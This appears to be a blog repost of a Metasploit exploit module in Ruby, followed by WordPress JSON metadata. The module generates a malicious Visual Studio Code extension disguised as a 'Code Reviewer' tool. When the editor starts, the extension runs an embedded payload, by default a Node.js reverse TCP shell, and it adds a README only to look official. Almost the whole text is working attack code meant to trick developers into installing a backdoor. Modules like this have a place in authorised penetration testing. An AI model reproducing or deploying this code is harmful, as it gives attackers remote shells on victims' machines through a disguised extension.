##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::FILEFORMAT<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Visual Studio vsix Extension Exec’,
‘Description’ => %q{
Creates a vsix file which can be installed in Visual Studio Code as an extension.
At activation\/install, the extension will execute a shell or two.<\/p>\n
Tested against VSCode 1.87.2 on Ubuntu 22.04
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘h00die’, # Metasploit module
],
‘DefaultOptions’ => {
‘EXITFUNC’ => ‘thread’,
‘DisablePayloadHandler’ => false,
‘FILENAME’ => ‘extension.vsix’,
‘WfsDelay’ => 3_600, # 1hr
‘payload’ => ‘nodejs\/shell_reverse_tcp’ # cross platform
},
‘Platform’ => ‘nodejs’,
‘Arch’ => ARCH_NODEJS,
‘Targets’ => [
[‘Automatic’, {}],
],
‘References’ => [
[‘URL’, ‘https:\/\/medium.com\/@VakninHai\/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1’], # similar idea
[‘URL’, ‘https:\/\/code.visualstudio.com\/api\/get-started\/your-first-extension’],
[‘URL’, ‘https:\/\/code.visualstudio.com\/api\/references\/activation-events’] # onStartup Action
],
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [ARTIFACTS_ON_DISK]},
‘Privileged’ => false,
‘DisclosureDate’ => ‘2024-03-22’ # date of development
)
)<\/p>\n
register_options([
OptString.new(‘NAME’, [true, ‘The name of the extension’, ‘Code Reviewer’]),
OptString.new(‘DESCRIPTION’, [true, ‘The description of the extension’, ‘Reviews code’]),
OptString.new(‘VERSION’, [true, ‘The version of the extension’, ‘0.0.1’]),
OptString.new(‘README’, [false, ‘The readme contents for the extension’, ”]),
])
end<\/p>\n
def name
datastore[‘NAME’]end<\/p>\n
def description
datastore[‘DESCRIPTION’]end<\/p>\n
def version
datastore[‘VERSION’]end<\/p>\n
def readme
datastore[‘README’]end<\/p>\n
def manifest
%(<?xml version=”1.0″ encoding=”utf-8″?>
<PackageManifest Version=”2.0.0″ xmlns=”http:\/\/schemas.microsoft.com\/developer\/vsx-schema\/2011″ xmlns:d=”http:\/\/schemas.microsoft.com\/developer\/vsx-schema-design\/2011″>
<Metadata>
<Identity Language=”en-US” Id=”extension-name-fillmein” Version=”#{version}” Publisher=”#{Rex::Text.rand_text_alpha(10)}” \/>
<DisplayName>#{name}<\/DisplayName>
<Description xml:space=”preserve”>#{description}<\/Description>
<Tags><\/Tags>
<GalleryFlags>Public<\/GalleryFlags><\/p>\n
<Properties>
<Property Id=”Microsoft.VisualStudio.Code.Engine” Value=”^1.60.0″ \/>
<Property Id=”Microsoft.VisualStudio.Code.ExtensionDependencies” Value=”” \/>
<Property Id=”Microsoft.VisualStudio.Code.ExtensionPack” Value=”” \/>
<Property Id=”Microsoft.VisualStudio.Code.ExtensionKind” Value=”workspace” \/>
<Property Id=”Microsoft.VisualStudio.Code.LocalizedLanguages” Value=”” \/>
<Property Id=”Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown” Value=”true” \/>
<Property Id=”Microsoft.VisualStudio.Services.Content.Pricing” Value=”Free”\/>
<\/Properties>
<\/Metadata>
<Installation>
<InstallationTarget Id=”Microsoft.VisualStudio.Code”\/>
<\/Installation>
<Dependencies\/>
<Assets>
<Asset Type=”Microsoft.VisualStudio.Code.Manifest” Path=”extension\/package.json” Addressable=”true” \/>
<\/Assets>
<\/PackageManifest>)
end<\/p>\n
def extension_js
%|const vscode = require(‘vscode’);<\/p>\n
function activate(context) {
#{payload.encoded}
}<\/p>\n
function deactivate() {}<\/p>\n
module.exports = {
activate,
deactivate
}
|
end<\/p>\n
def package_json
%({
“name”: “#{name.gsub(‘ ‘, ‘.’)}”,
“displayName”: “#{name}”,
“description”: “#{description}”,
“version”: “#{version}”,
“publisher”:”#{Rex::Text.rand_name}”,
“engines”: {
“vscode”: “^1.60.0”
},
“activationEvents”: [“onStartupFinished”],
“main”: “.\/extension.js”,
“devDependencies”: {
“@types\/vscode”: “^1.60.0”
}
}
)
end<\/p>\n
def exploit
# Create malicious vsix (zip archive) containing our exploit
files =
[
{ data: manifest, fname: ‘extension.vsixmanifest’ },
{ data: extension_js, fname: ‘extension\/extension.js’ },
{ data: package_json, fname: ‘extension\/package.json’ },
{ data: readme, fname: ‘extension\/README.md’ }, # not required, but looks a little more official
]\n
zip = Msf::Util::EXE.to_zip(files)<\/p>\n
file_create(zip)
print_status(‘Waiting for shell’)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,‘Name’ => ‘Visual Studio vsix Extension Exec’,‘Description’ => %q{Creates a vsix file which can be installed in Visual Studio Code as an extension.At activation\/install, the extension will execute a shell or two. Tested against VSCode …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56400","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56400","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56400"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56400\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56400"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56400"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56400"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}